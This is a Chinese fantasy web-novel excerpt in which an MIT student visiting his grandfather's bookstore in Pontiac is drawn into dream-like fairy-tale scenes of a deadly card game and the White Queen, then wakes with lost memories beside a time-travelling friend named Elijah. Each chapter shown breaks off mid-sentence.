《时空旅行者漫游指南》 1. 第一章:莱尼和纸牌游戏 《时空旅行者漫游指南》全本免费阅读 凌晨两点零五分,莱纳德·杜弗伦被滴水声吵醒,他在被窝里翻了个身,用枕头捂住耳朵,心里默念,停水、停水、停水、该死的……很显然,他虚无缥缈的念力跟他修理水龙头的技术一样成问题。 隔壁屋,莱纳德的爷爷正打着呼噜,他没被滴水声吵醒真是一点都不奇怪。老肖恩·杜弗伦上了年纪,听力和精力大不如从前,二十年前,哪怕一只耗子在书架间溜达的声音都逃不过他的耳朵,但正如老话所说,七十五岁是个分水岭,就跟肖恩书店一样,每逢冬日便愈发显得萧条。 自从跑到千里之外的马萨诸塞上大学,莱纳德只有每年冬假才会回到这座位于庞蒂亚克西郊尽头的小镇,呼吸新鲜空气,陪老肖恩打扑克、晒太阳,修整打理经营不善的老书店。 尽管事实证明,就算即将拿到麻省理工的工程学硕士,他也依然无法保障这家破破烂烂的老店正常运转。有时候,莱纳德甚至怀疑,这书店是不是已经年老成精——电力总是不稳定,冰箱每隔几小时就要哮喘发作,墙角里安家落户的老鼠都是从灰姑娘那里跑出来的,一到夜深人静就会窜来窜去地捣乱,把他白天刚刚换过的新水龙头搞得一团糟。 “莱尼?” 莱纳德霍得睁开眼睛,被子仍然罩在头顶,他的呼吸喷在上面,又打回到脸上,热乎乎的,粗重而颤抖。 那个声音又叫:“莱尼,快醒来哦。” 尖细的嗓音穿透羽绒被,钻进莱纳德的耳朵,像长着细齿的锯子,在耳廓里反复摩擦,很快就发烫了。怎么会?早就没人叫他莱尼了,当然除了老肖恩,在爷爷眼里他永远是那个笨手笨脚的八岁男孩,也除了他的中学同学,以校霸里德为首的那群讨厌鬼叫他“四眼莱尼”叫了整整六年,但那至少好过“没人要的莱尼”……总之,严格来说并不是没有人这么叫他。 但这不是问题所在。 问题在于,这个声音不属于老肖恩,而他们家里并没有住着第三个人。 至少他是这么以为的。 莱纳德捏着被子的手指变得冰凉,在他的想象里,一只巨型老鼠正站在他床边,就像《咬核桃的小人与老鼠国王》里的那只鼠后长大了一百倍,凑近他,用又尖又细的声音喊他,顺着几根长长的胡须有浑浊的液体不断滴下……不,那声音太近了,绝对不是水龙头。 来不及了。 莱纳德猛地把被子拉下来,他屏住呼吸,准备好了尖叫,也准备好了拳打脚踢,可卧室里空无一人,没有巨型老鼠,没有险恶的细长胡须,只有滴水声仍然响个不停,仿佛无休无止,莱纳德松了口气,该死的水龙头,他发誓要把那劣质玩意扔进垃圾箱,或者焚化炉。 莱纳德从床上爬起来,去把卫生间的水阀关上,等明天一早,他还要跟五金店的老板吵上一架,大烟鬼费奇当然是把以次充好省下的钱用来买万宝路了,或者大麻,这个良心比肺还黑的家伙。莱纳德光脚踩在冰凉的地板上,拧开卧室门把手,刹那间,水滴声变得非常清晰,几乎有些刺耳。 眼前有一片白光闪动,形状像新月,或者镰刀,浓稠的黑红色液体正顺着白亮的刀刃不断跌落下来。 那当然不是水。 “啊啊啊——” 直到尖叫声突破音域无以为继,莱纳德才像颗哑炮似的安静下来,他嘴巴还大张着,满脸惊恐地瞪向面前的木头圆桌,一秒钟前的记忆如同跌进火堆里的水滴,还没来得及落地就“咻”地一下,蒸发得无影无踪。 “这个人类出什么毛病了?”左手边一个声音问道。 莱纳德抬起头,一个脸色苍白,头发火红的男人正盯着他看,他穿着一身剪裁合体的猩红色燕尾服,头戴一顶高高的礼帽,压着乱糟糟的头发,那头发简直红得吓人,看上去随时都会燃烧起来。 “额,你说什么?”人类?莱纳德当然知道自己是人类,但这种称谓可不常听到。红发男人却恍若未闻,对面,一个声音彬彬有礼地说道:“我想他只是醒过来了,阁下。”莱纳德顺着声音看过去,立刻瞪大眼睛,差点又尖叫起来,那是只兔子,看在上帝的份上,那真是只兔子!长耳豁嘴,绒毛雪白,跟《爱丽丝梦游仙境》里的三月兔活像一个模子里蹦出来的。 我一定是在做梦,莱纳德心想,比巨型老鼠还要荒唐的梦,然而大脑的另一部分却在告诉他,还记得刚才的尖叫吗?如果这是梦,你早就醒过来了,笨蛋。 红发男人竖起眉毛,满脸不悦:“白皇后殿下不时便要驾临,可不能看到他这副蠢相。” “你说谁蠢呢?”莱纳德干巴巴地问,自己都没听出半点底气来。“除了你还有谁?”红发男人说着弹了弹手指,圆桌上一只烫金白瓷茶壶忽然小跳一下,颤巍巍地支起两条细腿,朝莱纳德走了过去,它身边跟着盛方糖块的小碟子,亦步亦趋,瓷器和大理石桌面偶尔碰撞,发出清脆的声响。 莱纳德屏住呼吸,眼看着那茶壶走过来,倾身倒满一杯热气腾腾的红茶,咧开壶嘴说道:“加入糖块,风味更佳。” “不、不用了。”莱纳德伸手挡住跃跃欲试的方糖碟子,方糖块总算没有自己跳进茶杯,但显而易见,碟子以外的一切早就脱离了掌控。 “喝了那杯茶,牌局马上就开始。”红发男人又发话了,他眨着眼睛,一对细长的黑色竖瞳让人联想到蛇,或者不怀好意的猫。 莱纳德讷讷地问:“什么牌局?” “什么,他不玩纸牌?”红发男人忽然暴怒,黑色竖瞳左右扫视着圆桌上的其他人,高礼帽在头顶一颤一颤,尖声道,“谁邀请这人类来的?!” 无人回话,莱纳德鼓起勇气:“那个,没人邀请我,我也不想……” “闭嘴!”红发男人愤怒地打断他,“你难道想被白皇后殿下变成石头?” 莱纳德刚鼓起的勇气立刻漏了,他求助似的看向三月兔,那兔子却连眼睛都不敢抬,鼻头抖动着,仿佛已经被吓呆了。 “威利,别发脾气。”终于有人开口了,“只是纸牌而已,我相信这个人类很快就能学会的。”莱纳德感激地看过去,解围的好心人坐在圆桌的另一端,丝毫没有畏惧红发威利的样子,见莱纳德看他,也朝他咧嘴一笑,露出一口整齐的白牙。 好心人身穿一件磨得发旧的棕色皮大衣,敞开来露出里面皱巴巴的亚麻衬衫,跟威利贵族似的打扮风格迥异,小麦色的皮肤显然历经风雨,尤其是那双眼睛,漫不经心的浅灰色,却透着锐利。 水手的打扮,海盗的气质,直到很久以后,莱纳德依然这么认为。 红发威利盯着那人直看,细长的瞳孔仿佛要变成箭镞从眼眶里射出来,终于冷冷吐出几个字:“好吧,以利亚,你来教他。”不等对方回答,又说:“要是教不会,白皇后殿下会把你们一起变成石头。” 以利亚笑笑:“那是我的荣幸。”他朝莱纳德勾了勾手指,示意他过来,说道:“别担心,纸牌很简单。” 莱纳德回想起在大学宿舍里彻夜鏖战输掉的巨额伙食费,对以利亚的说法不敢苟同,他跳下椅子,一路小跑到以利亚身旁,绕过圆桌时差点被长柄扫帚绊倒,一个头戴尖帽、女巫打扮的鹰钩鼻女人狠狠瞪了他一眼,尖声嚷道:“喂,你踩到它了!” 莱纳德慌里慌张地跟扫帚道了个歉,以利亚哈哈大笑:“眼睛看前面,士兵。”他把规则教给莱纳德,果然简单得很,连莱纳德这种菜鸟都非常熟悉——游戏开始,所有玩家依次出牌相叠,如果和前面出过的牌数字一致,玩家就能把两张牌中间的牌全部收走,作为继续玩牌的 2. 第二章:莱尼和以利亚 《时空旅行者漫游指南》全本免费阅读 第二个玩家出局,游戏继续。 莱纳德很清楚,随着参赛者和手中的纸牌减少,危险越来越集中地高悬在下一个倒霉鬼头顶,如果不尽快做点什么,他迟早会步小丑和三月兔的后尘。 死神就藏在玩家当中,可究竟是谁?在莱纳德这个人类眼里,一桌子怪胎个个看着很可疑。他不由自主把目光集中在以利亚身上,此人看起来最正常,可自从游戏开始,他手里的牌就没少于过五张,还有那副有恃无恐的从容模样,死神会是他吗? 以利亚若有所感地抬起头,对上莱纳德的目光,他看着对方,忽然悄悄眨了眨右眼。 又一圈放牌结束。 以利亚凭一张梅花五回收了桌上的最后三张牌,笑吟吟地看向他的下家——机器人眨了眨三角形的绿眼睛,圆圆的脑袋上毫无表情,忽然开口说道:“我输了。”他手里还握着两张牌,却不抱希望地摇了摇头:“我计算过了,失败既然已经注定,再玩下去还有什么意义呢?”他双手扶住脑袋,忽然用力向上一提,竟然生生把脑袋摘了下来,放到桌上。 “生死有命,这是宇宙的终极形态。”那颗大脑袋叹着气说道。“但没有人能欺骗死神。” 莱纳德盯着机器人的绿眼睛,只觉得一股凉意顺着后背爬了上来,周遭的声音忽然褪去,圆桌上的其他人——还有小丑和机器人的脑袋——同时把头朝他转了过来,那些形态各异的脸上表情空洞,如同没有刻字的墓碑。 他们同时开口,声音犹如训练有素的唱诗班男孩,齐刷刷道:“没有人能欺骗死神。。” “莱纳德?莱尼!” 莱纳德悚然一惊,他大梦初醒似的眨眨眼睛,刚才那一幕肯定是幻觉,因为眼前以利亚正满脸关心地看着他,问道:“你没事吧?” “我、我没事。”莱纳德干巴巴地回答,他的衬衫已经湿透了,正冷飕飕地贴在后背上,尖鼻子女巫忽然用枯枝似的手指头戳了戳他的胳膊,提醒他:“喂,你该放牌了。”他一惊,圆桌上的人果然都在等他出牌,可还没等他把手伸出去,动作就僵住了——那是他手里的最后一张牌。 短短一瞬间,诸多念头涌上心头,使他看起来十分平静,但莱纳德其实思考了很多。 比如,最后一张牌要是逆风翻盘该有多好,这种事在电影里就简单得很,有主角光环笼罩的人永远不会被死神的镰刀砍掉脑袋。 再比如,万一他的脑袋真掉下来,该说什么好呢?杰罗尼莫? 还有,为什么以利亚看他的神态好像跟他认识已久?莱纳德几乎可以肯定自己在哪里见过他,尤其是那双灰眼睛。 死神的镰刀高悬头顶,莱纳德沉浸在送命前的最后一秒里,完全没有看到以利亚朝他倾身过来,伸长胳膊越过他,一把抄起尖鼻子女巫的扫帚,另一只手抓住莱纳德,用力把他拽起来,大声喊道:“跑!” 这道命令果断有力,莱纳德的大脑还来不及处理,两条腿已经自动听从指挥,飞快地跑动起来。 背后,红发威利愤怒地大吼道:“站住!你这蠢货!” 莱纳德头也不回,被以利亚拉着朝那堵白墙跑过去,他忍不住惊叫:“不要!”他们会被墙拦住脑袋的!三月兔的头还滚在墙角,看到他们过来,忽然尖声大笑起来:“快跑啊!加速!加速!” 以利亚恍若未闻,他左手牢牢抓着莱纳德的胳膊,右手举起女巫的扫把自上而下重重一划,墙体立刻变成半凝固的果冻质,表面荡起层层叠叠的波纹。 “不要!头!”惊慌之下,莱纳德简直语无伦次,以利亚这个傻瓜,这个疯子!他没看到刚才发生在三月兔身上的事吗?! “啊——”莱纳德的后半声惊叫变了调,某种滑腻腻的东西从脸颊、耳廓、双手拂过,眼前先是一黑,紧跟着一亮,以利亚终于松开了他,说道:“好了,大功告成。” 莱纳德喘着气,心跳快得好像狂欢舞会上的非洲手鼓,他终于直起腰,抬手用力朝以利亚的胳膊打了一拳:“你!疯子!知不知道那堵墙会砍人脑袋!” 以利亚痛哼一声,揉着胳膊说:“但显然没有把咱们的脑袋砍了,对吧?” “你可真是个疯子。”莱纳德心有余悸地打量了一圈,他们此刻站在一间纯白色的房间里,没有家具,没有门窗,连灯泡都没有,光线不知道是从哪儿照下来的,一切都看起来很不真实。 “这一点我承认,而且早就承认过了。”以利亚笑了笑,忽然朝他张开双臂,“莱尼,好久不见。” 莱纳德一愣:“咱们见过?”他看着以利亚轮廓分明的脸,还有那双灰眼睛,不,不,他没见过这个人,从来没有。 以利亚的笑容消失了:“可别告诉我,你把我给忘了。” 莱纳德实话实说:“我从来没有见过你,真的。”奇怪的是以利亚会叫他“莱尼”,高中毕业之后就没人这么叫他了,当然,老肖恩除外。 以利亚不吭声了,他看起来大受打击,认错人的乌龙显然让他痛心不已。 莱纳德不安地转移话题:“呃,那扫帚是怎么回事?” 以利亚反问:“你看不出来这东西的真身?” “难不成,”莱纳德看着那个貌不惊人的玩意,抱起胳膊,“这是霍格沃茨的飞天扫帚?”以利亚把扫帚递给他:“摸一下,别怕,不会有事的。” “我没怕,这不就是,嘶……”莱纳德忽然被蛇咬了似的猛地缩回手——只一眨眼的功夫,以利亚手里的扫帚就变成了一柄巨大的黑色镰刀。 死神的巨镰! 莱纳德脑袋里的某根弦拨动了一下,他在哪儿见过这柄镰刀,滴着血,雪白锋刃亮得刺眼,形状像新月。但究竟是在哪里见过?莱纳德说什么也想不起来。 以利亚笑得有几分得意:“感知过滤技术,完美的意识层伪装,怎么样?” “技术 3. 第三章:莱尼和魔橱 《时空旅行者漫游指南》全本免费阅读 莱纳德抬头左右张望,他好像听到有人在叫他,可书店里一如既往地顾客凋零,大白天里连个鬼影子都没有。 刚低下头,那声音又立刻叫起来:“这边,莱尼,往上看!” 莱纳德吓了一跳,这回他听得真切,抬头一看,天花板上只有吊灯在穿堂风里摇摇晃晃,那个声音不耐烦道:“傻瓜,不是让你看天花板,看电视。” 莱纳德目光下移,前台斜上方的位置摆了一台很老旧的电视机,四四方方的,模样憨厚老实,比老肖恩年纪还大,巅峰时期能收到14个台。 此时此刻,跳动着雪花的屏幕上,有个男人正冲他大喊大叫,灰眼睛,高鼻梁,棕色大衣,气质活像个海盗。 莱纳德的大脑还没来得及反应,右手已经快他一步,自作主张把那本不算太厚的毛姆短篇小说集用力扔了过去,同时发出一声惊叫——他看过《午夜凶铃》,哪怕不是个披头散发的白衣女鬼,只要有一点从电视里往外爬的迹象,莱纳德对上帝发誓,他一定会把手边最重的东西砸过去的。 “啪”的一声,书撞到电视屏幕,又跌在地上。 电视被砸得晃了晃,莱纳德人也跟着一晃,昨晚的梦境像纸盒子里弹出的小丑,骤然跃进脑海,他记起来了,电视里的那人是以利亚!但,怎么会? 以利亚看起来深受打击:“喂,我知道你把我忘了,但也不至于朝我扔东西吧?” 莱纳德张了张嘴:“你……” 以利亚自顾自说下去:“当然,我也叫你傻瓜来着。”他没看见莱纳德深吸了一口气,腮帮子鼓了起来,又说,“我们算是扯平?” “活见鬼!”莱纳德终于把憋在胸口的气吐了出去,质问道,“你跑到我家电视里干什么?” “第一,我不在你家电视里,只是你这么觉得罢了。”以利亚竖起一根手指晃了晃,然后竖起第二根,“第二,做梦的时候,人的大脑会自动修正一些细节,好让梦境看起来更真实。” 莱纳德呆呆道:“什么梦境?” 以利亚认真地看着他:“你现在就在做梦,莱尼,仔细看看你周围,那些都不是真的。” “别叫我莱尼。”莱纳德咬紧牙关,一时不敢转头,因为余光间,旁边的书架好像忽然不见了,他使劲眨眨眼睛,定睛看过去,书架还在,刚才那一瞬只是惊慌之下的错觉。 “好吧,莱纳德。”以利亚摊开手,露出无奈的表情,“别这样,你知道电视遥控不会起作用的,我们的意识连接还没断开,所以你才能看到我,听到我,明白了吗?” 莱纳德悻悻放下遥控器,以利亚看着他:“现在我们可以好好谈谈了?” 莱纳德反问:“你想怎么样?” “现在可不是睡大觉的时候,莱尼……我是说,莱纳德,我只想让你赶快醒过来。”以利亚表情严肃,“牌局还没结束,再不醒来你就要糟糕了。” “我现在清醒得很,别来烦我了!”莱纳德连连摇头,牌局这个词让他手臂上起了一层鸡皮疙瘩,他不管,无论如何,他都绝对不要回到那个地方去。 “我知道你很害怕,莱纳德,嘿,看着我,别走!”以利亚提高声音,“一切都会好起来的,相信我,一切都……”他的声音倏地消失,灯泡也同时跳灭,书店陷入了彻底的寂静。 莱纳德在总电闸前扭回头去,右手还握着闸刀,电视屏幕漆黑一片,以利亚不见了。 接下来的大半天,莱纳德都心不在焉。 老肖恩散步归来,看到书店里一片漆黑,孙子一脸绝望地坐在门槛上思考人生,还以为店铺遭人打劫了,问清楚之后把莱纳德好一顿嘲笑:“麻省理工的高材生居然也会怕鬼,你们的校训是什么来着,怪物和猎人? ” 莱纳德一言不发地躺平任嘲,事实上,有爷爷在身边他立刻安心了很多,以利亚、牌局、梦境……都一下子变得荒诞起来,被《查理和他的巧克力工厂》里的威利·旺卡威胁变成石头什么的——是的,现在莱纳德想起来了,那头标志性的红发和燕尾服几乎和电影里一模一样,当然,细节上有所不同,梦都是这样——怎么会是现实呢? 但当时间一眨眼就溜到晚上后,莱纳德又不那么肯定了,万一他睡着,再一睁眼,又回到那个夺命牌局怎么办? 老肖恩一过九点就要回屋睡觉,莱纳德犹豫地跟在爷爷屁股后面,吞吞吐吐:“我今晚上能和你一块睡吗?那个,我的卧室离卫生间太近了,水龙头还没修好,吵得很。” 老肖恩瞥他一眼:“你确定?呼噜声可比水龙头响多了。” “我确定,科学研究表明,呼噜声的节奏和韵律实际上有催眠的效果。”莱纳德信口胡编乱造,结果被老肖恩识破,赶苍蝇似的赶回了自己的卧室,他只好把所有灯都打开,决定熬个通宵,不管以利亚那通“意识连接”的说法是真是假,莱纳德打定主意,他绝对不要再回到那个鬼地方去。 爬上床前,莱纳德特地倒了杯特浓黑咖啡,还挑了本一看封面就很有趣的侦探小说,自信足够度过漫漫长夜。 可惜百密一疏,还是犯了两个错误—— 第一,咖啡因至少得要四十五分钟才会发挥作用,在那之前,瞌睡虫仍旧占据主导权。 第二,那本侦探小说非常、非常无聊。 还没完全睁开眼睛,莱纳德就听到了激烈的争吵声。 ——“处死他!快处死这个人类!”声音尖锐刺耳,活像生锈的铁片互相摩擦,莱纳德脑海中立刻浮现出一个尖鼻子女巫,脾气暴躁,会因为别人碰到她的宝贝扫帚而大发雷霆。 ——“没有意义的,万事终究会以悲剧收场。”这个声音很忧郁,是那个大脑袋机器人,他估计又要搬出来那套宇宙终极形态的歪理了。 ——“别吵了,听我说。”冷酷的红发威利,跟电影里外表冰冷疯狂、内心如同巧克力般柔软甜蜜的旺卡显然绝非同类。 莱纳德用力掐了自己一把,痛感真实得让人绝望,他又回到了这张该死的木头圆桌上,身旁是红发威利、尖鼻子女巫、身首分离的小丑和机器人……不对,莱纳德的心跳忽然加速,以利亚不在牌桌上。 红发威利打量着莱纳德,一脸莫测高深:“我有一个提议。” 女巫立刻说道:“别在我面前耍花样,红毛小子,我可要警告你……” 红发威利不耐烦地打断她:“我提议把他交给白皇后处置。” “白皇后”这三个字仿佛带着某种魔法,女巫脸上的不满立刻烟消云散 4. 第四章:莱尼和白皇后 《时空旅行者漫游指南》全本免费阅读 错不了,藏在魔法衣橱里的冰雪世界纳尼亚,由邪恶反派白皇后铁腕统治,她会在冰冷的夜晚乘着雪橇出现,用好吃的土耳其软糖诱惑迷途的小孩子。 莱纳德小时候听过这个童话故事,还看过系列电影,但他做梦都想不到会亲眼看见童话世界——也许他真的在做梦,谁知道呢?红发威利的声音在背后响起,问道:“你说什么?” “这不是真的。”莱纳德揉了揉被冷风割得发痛的脸颊,他快被冻僵了,这感觉很真实,没人会在这种状态下怀疑自己是在做梦,但他还是坚持说道,“这都不是真的,你也是个童话人物,别装了,你难道不是来自旺卡家族?” 红发威利眨眨眼睛:“你恐怕是睡糊涂了吧?我这辈子从没听过旺卡家族。” “等着瞧吧,”莱纳德用冻僵的鼻子哼道,“童话里写得明明白白,过不了多久,半羊半人的农牧神就会走到那杆路灯下面,看见没有?他会带你去他的木屋里取暖……对了,他还会吹笛子,是首催眠曲,如果你不小心睡着,就会死翘翘。”莱纳德努力回想,可惜儿时的睡前故事早已忘得七七八八,但他还是把记起来的一股脑儿倒了出来,好像多说一句就能为他的结论加一分佐证似的。 红发威利微笑地看着莱纳德,不慌不忙地回应:“哦,那我等着瞧。” 莱纳德盯着被路灯照亮的一小片雪地,心里毫不怀疑,半羊半人的农牧神一定会出现的,一定。 五分钟之后,或者其实没有那么久,是莱纳德的信心被磨去得太快——总之,路灯下依然空空荡荡,除了白雪什么都没有,天气更阴更冷,雪花打着旋往人眼睛、睫毛上飞,把视野糊得一片白茫茫。 第十八次低头揉眼睛的时候,莱纳德听到了人声,嘁嘁喳喳地,其实更像一群花栗鼠在吵架。 红发威利精神一震:“来了。” 莱纳德顺着他的目光看过去,只见树林中一群小孩正在快速靠近,他眯起眼睛,不对,小孩不会长白胡子,也不会打扮得这么奇形怪状。 这是……七个小矮人。 红发威利笑吟吟地侧过头看莱纳德,目光仿佛是说,你刚才不是信誓旦旦说会有农牧神到来吗,结果呢? 莱纳德目瞪口呆,他没看错,这群穿着花花绿绿、一路吵吵嚷嚷、个子通通还没他腰高的小家伙,绝对就是围在白雪公主身边的七个小矮人,此刻正抬着两口水晶棺朝他们飞奔而来——就是白雪公主被白马王子吻醒时躺的那个水晶棺——一边跑一边说个不停,爱生气气喘吁吁地抱怨:“慢点跑、慢点跑,这东西简直沉死了!”开心果笑嘻嘻地回应:“嘿!我们可得听万事通的,他叫咱们干什么,咱们就干什么。”万事通立马纠正:“不对头!应该是白皇后殿下叫咱们干什么,咱们就干什么。”爱生气还想继续生气,结果喷嚏精一个巨大的喷嚏,终结了谈话。 莱纳德忍不住呻吟了一声,看在上帝的份上,如果他不是在做梦,那他就一定是疯了,彻底疯了。 眨眼间,七个小矮人已经踩着积雪从树林间穿梭而来,停在了路灯下。万事通清了清嗓子,大声道:“是你们两位请见白皇后殿下?” 红发威利说:“没错。” 爱生气看了威利一眼,立刻大声抱怨:“他看起来好重!”然后指指莱纳德:“我要求这个人到我的水晶棺里来!” 莱纳德一个字都说不出来,红发威利倒是欣然领受:“当然,荣幸之至!”说完迈开腿走到小矮人面前,舒舒服服地躺进了其中一口水晶棺里,表情愉快,仿佛自己正躺在丝绒床垫上,还朝莱纳德招了招手:“快点进来,你想站在这里被活活冻死吗?” 莱纳德用力抹了把脸,朝另一口棺材走过去,心想,管他呢。 躺在水晶棺里的滋味意料之外地不算太难受,水晶摸上去很温暖,身下还垫着厚厚的红丝绒,透过水晶棺,莱纳德看着天上闪烁的星星,认真地思考,他是不是其实还躺在麻省理工他的宿舍里,因为滥用药物而幻想出了这一切。 又或者,他只是个忘记吃药的精神病人,此刻身上正捆着层层叠叠的束缚带。 听说人在死前回光返照的十二秒感觉上会如同十二年,说不定这正是他现在经历的。 每一种假设都比眼下更加真实。 可真实只是建立在信仰之上的虚幻,这句话是他爸说的,奥古斯特·杜弗伦是位怀揣梦想的小说家,坚持每晚给儿子讲童话故事,从他嘴里曾吐出过不少高见,但莱纳德认为最经典的一句始终是:“照顾好你爷爷,儿子,爸爸要离开一段时间。” 那是他爸对他说的最后一句话,说完之后,这位好心人就像《月亮与六便士》里的斯特里克兰德那样,头也不回地走出了他的家庭、他的生活。 九年来,杜弗伦先生音讯全无,而莱纳德在度过最开头那脆弱无知的两年之后就很少再想起他,但很显然,杜弗伦先生仍以某种方式影响着他,莱纳德眨眨眼睛,大概是那些枕边童话不容易忘掉吧。 被父亲抛弃的童年心理创伤作祟导致的清醒梦,听起来很合理,不是吗? 可为什么童话故事会变成噩梦? 莱纳德闭上眼睛,希望再睁开眼睛的时候,能够回到肖恩书店,或者大学宿舍,或者庞蒂亚克随便哪条街道上,哪怕是流浪汉住的桥洞呢,什么地方都好,他真的受够童话了。 而以利亚的声音就是在这时候找上他的。 莱纳德终于踏进了白皇后的宫殿。 与其说是宫殿,倒不如说是另一座巨大而冰冷的水晶棺,四壁皆冰,立满了姿势各异的冰雕,目光所及之处,都是冰雕的重重倒影,根本看不出真实的墙壁在哪里。 莱纳德用力揉了揉鼻子,这里空气阴森寒冷,似乎比冰雪覆盖的森林更叫人难以忍受,每呼吸一次,身上的热气就跟着溜走一分。 红发威利四下打量着,忽然吹了声口哨,冲一座冰雕鞠了一躬:“图木纳斯,你好呀。”那座冰雕正是半人半羊的农牧神,手里拿着根笛子,低垂着头,似乎被冻成冰雕前正打算吹奏一曲。 莱纳德盯着他:“你现在怎么又认识农牧神了?” 红发威利得意地笑起来:“我可从来没说过我不认识他。”莱纳德冲他怒目而视,一个小矮人扯着嗓子大叫起来:“白皇后殿下驾到!” 莱纳德顿时浑身一凛,抬头看向台阶之上,只见一个白袍女人从冰壁后走出来,银发,赤足,和莱纳德记忆中的童话人物竟然颇为神似,高挑瘦削、容 5. 第五章:莱尼和时空旅行 《时空旅行者漫游指南》全本免费阅读 “莱尼,你醒了?” 莱纳德睁开眼睛,第一眼就看到了以利亚,他比牌桌初见时不知怎地看上去更憔悴些,满脸胡茬,眼底还有浓重的阴影,但笑得很愉快,露出一口雪白的牙齿,大声问道:“你能听到我说话吗?” “嗯……”莱纳德只从喉咙里发出一阵模糊不清的声音,他伸手拍了拍眼前的玻璃罩,发现自己正站在一个狭小的密闭空间里,只有正对的这一面是玻璃。 以利亚伸手按了几下,玻璃罩随即向外升起,他的声音清晰洪亮了许多:“别心急,刚开始可能会……哈,小心!”他伸手扶住莱纳德的胳膊,对方只往前迈了一步,腿就一软,像被撞到的易拉罐金字塔那样倒了下去。 “我扶住你了,别怕,一步一步来。”以利亚笑得很爽朗,莱纳德感到他手臂肌肉鼓起来,撑着他稳稳当当走向对面的小床。 “以利亚,怎么回事?”莱纳德感到头晕脑胀,喉咙的状态说明这一觉睡得够久,或者声带刚刚解冻,“我还以为……我还以为我变成冰雕了。”他一舔嘴唇,舌头没有化掉,这是个好兆头。 “冰雕?听起来很惊险呐。”以利亚目光闪动,却没多说,他熟练地把莱纳德安置在小床上,拉过被子,又动作飞快地捏了下莱纳德的手指,说道,“神经反应良好,你恢复得很快。” 这句话并没让莱纳德松口气,他反手抓住以利亚的手腕,感到力气逐渐恢复,呼吸也流畅起来:“到底发生了什么?还有,这是哪儿?我是认真的,以利亚,别再像上次那样应付我了。” “好吧,好吧。”以利亚轻轻吁了口气,在小床旁边坐下,看着莱纳德,“不如你先告诉我你都记得什么?刚才你说冰雕,那是怎么回事?等一下,最好还是从头说起。” 尽管觉得奇怪,莱纳德还是点点头,讲道:“呃,我得想想,昨天晚上,我家的水龙头漏水了……”他把扰人清梦的水滴声、死神的镰刀、夺命牌局、纳尼亚世界原原本本讲给了以利亚,对方一直认真听着,一言不发,只有那双灰眼睛闪动着含义不明的光芒。 “那之前呢?”听完,以利亚追问。 “什么之前?”莱纳德一愣,“我是从头讲的,你还想听什么,我的童年吗?” 这次愣住的人换成了以利亚,他牵动了下嘴角,似乎想笑,却不太成功:“莱尼,可别告诉我,你把我给忘了。” 莱纳德从床上爬起来,瞪大眼睛:“我没有忘,你听到我刚才讲的了,我知道最后是你假扮成红发威利,感知过滤技术、意识层伪装,你是这么说的吧?” 以利亚根本没听到,他呆呆地看着莱纳德,过了几秒,他打了个响指,仿佛想像魔术师把兔子变没那样让心事通通消失,然后冲莱纳德笑了笑:“听着,有三件事我需要告诉你。” “第一,你刚才告诉我的梦……我是说,那些事情……其实并没有真实发生过,而是某种现实的映射,嘿,别急着反驳,看到那个机器了吗?对,就是你刚出来的那个,那是个特殊医疗舱,可以修复受损的神经网络,当然,也会有一些副作用。” 莱纳德咽了口唾沫:“什么副作用?” “你丢失了一部分记忆。”以利亚伸手搭在他肩膀上,用力按了按,“但这部分记忆没有彻底消失,它仍以某种变体的形式存在,就像你讲的红发威利、小丑、纳尼亚的白皇后,相信我,这其实都说得通。” 莱纳德呆呆问道:“你怎么知道?” 以利亚无声地叹了口气:“这就是我要告诉你的第二件事,莱尼,我们认识,好吧,至少曾经是好朋友,我们一起旅行、一起冒险,后来,我们遇到了一些事情,你受了伤,然后忘记了我。” “怎么可能?”莱纳德听到自己的声音打了个颤,以利亚用力握着他的肩膀,他把那只手推开,“听着,我不认识你,而且我、我在麻省理工读书,根本没有时间旅行,我只是在冬假回爷爷的书店帮几天忙而已。” 以利亚双手交握:“我知道,但那不是昨天发生的,莱尼,已经过去很久……”莱纳德猛地打断他,几乎是恶狠狠地说:“别叫我莱尼!”他喘了口气,扯起嘴角露出一个假笑:“我的名字是莱纳德·杜弗伦,你呢?就只是以利亚吗?”他抬起头尽量平静地望着对方,希望能让对方明白,他抛出来的失忆戏码是多么滑稽、多么荒唐。然而,在胃部深处,莱纳德能感受到某种不安的抽动,就像蛰伏的冬虫,蠢蠢欲动地等待着春天。 可他等待的能是什么? “莱纳德,”以利亚顺从地改了口,甚至朝他伸出一只手,像位合格的绅士那样,平静道,“我的名字是以利亚。”他笑了笑,灰眼睛里有怀念似的光芒一闪而过:“只是以利亚。” 莱纳德用力咬住牙,以利亚的反应不是他想要的,但就算以利亚口吐莲花,背上长出天使翅膀,他也没法握住那只手,没法接受对方说的任何一个字,那些耐心和宽容只会让他更愤怒,莱纳德感到自己眼角的肌肉跳动着,他只有愤怒,才能抵挡住此刻如同汽车刹车失灵般的恐惧。“这不代表我们是朋友。”他最后说。 “当然。”以利亚神态自若地收回手,“现在我要告诉你第三件事。” “不!”莱纳德忽然一把推开以利亚,从床上跳了下去,他落地的第一步就趔趄栽倒,要不是以利亚及时扶住他,他的鼻血肯定会流到雪白光洁的地板上。尽管如此,站稳后,莱纳德的第一反应仍然是挣脱以利亚,然后用尽全力朝门口冲了过去。 大门一推就开了,外面是同样雪白光洁的走廊,明亮均匀的光线让人一时看不出门窗都在哪里,莱纳德闷头跑了几步,终于在走廊尽头看到了半掩着的楼梯间,楼道里挂着圆圆的数字标牌13——真棒,魔鬼的数字,难怪他会做噩梦。 莱纳德跑下楼梯的时候注意到以利亚并没有跟着,也许他终于放弃了那套骗人的鬼把戏,也许总算认识到自己找错了人,但事实证明,以利亚只是坐电梯先一步赶到了楼下。 “莱纳德。”以利亚在楼梯口看着他,双手深深地插在大衣口袋里,“冷静点好吗?这里不是……”他还没说完就被莱纳德推到了一边,大厅里有几个人在走动,但都没有对两人小小的争执投来关注,莱纳德跑到大门前时,感应器自动为他开启了玻璃门,以利亚没再说什么,只是默默跟在后边。 莱纳德站在玻璃门外,停下脚步,睁大眼睛看着眼前这座城市的摩天大楼和车水马龙。 “拜托,告诉我我还在做梦 6. 第六章:莱尼和故园鸟镇 《时空旅行者漫游指南》全本免费阅读 莱纳德一脚踏在坚实的地面上,抬起头,密歇根十二月冰冷的空气就这么朝他扑了过来,带着远离城市的森林和湖水的味道,他感到心正飞快地撞击着胸膛,为这无比熟悉的家的味道。 以利亚拽着他往前一步,传送门在身后消失,两人站在了庞蒂亚克故园鸟镇的某条街道上。“怎么样,眼熟吗?”以利亚问,一边环顾四周,太阳还尚升起,街道上冷冷清清,连流浪猫都还睡着。 